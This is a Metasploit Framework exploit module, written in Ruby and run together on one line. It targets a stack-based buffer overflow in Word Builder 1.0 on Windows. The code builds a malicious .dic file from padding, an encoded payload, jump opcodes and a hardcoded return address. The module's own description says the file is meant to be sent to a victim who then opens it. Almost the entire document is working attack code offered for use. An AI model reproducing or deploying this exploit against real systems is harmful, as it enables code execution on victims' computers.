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## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::FILEFORMAT def initialize(info = {}) super(update_info(info, 'Name' => 'Word Builder 1.0 (DIC File) Stack Buffer Overflow', 'Description'=> %q{ This module exploits a stack-based buffer overflow in Word Builder 1.0.An attacker must send the file to the victim and the victim must open the file. }, 'License'=> MSF_LICENSE, 'Author' => [ 'h1ch4m',# Initial Discovery 'James Fitts' # Metasploit Module ], 'Version'=> '$Revision: $', 'References' => [ [ 'URL', 'http://www.exploit-db.com/exploits/17086' ], ], 'DefaultOptions' => { 'EXITFUNC' => 'process', 'DisablePayloadHandler' => 'true', }, 'Payload'=> { 'Space'=> 1500, 'BadChars' => "\x00\x0a\x0d", }, 'Platform' => 'win', 'Targets'=> [ [ 'Windows Universal', { 'Ret' => 0x00411ce2 } ], #p/p/r in word_builder.exe ], 'Privileged' => false, 'DisclosureDate' => 'Apr 01 2011', 'DefaultTarget'=> 0)) register_options( [ OptString.new('FILENAME', [ true, 'The file name.','msf.dic']), ], self.class) end def exploit dic = rand_text_alpha_upper(4103 - payload.encoded.length) + payload.encoded dic << "\xe9\xfe\xef\xff\xff" # jmp $-4093 dic << "\x90\x90\xeb\xf7" # jmp $-7 dic << [target.ret].pack('V') print_status("Creating '#{datastore['FILENAME']}' file ...") file_create(dic) end end |
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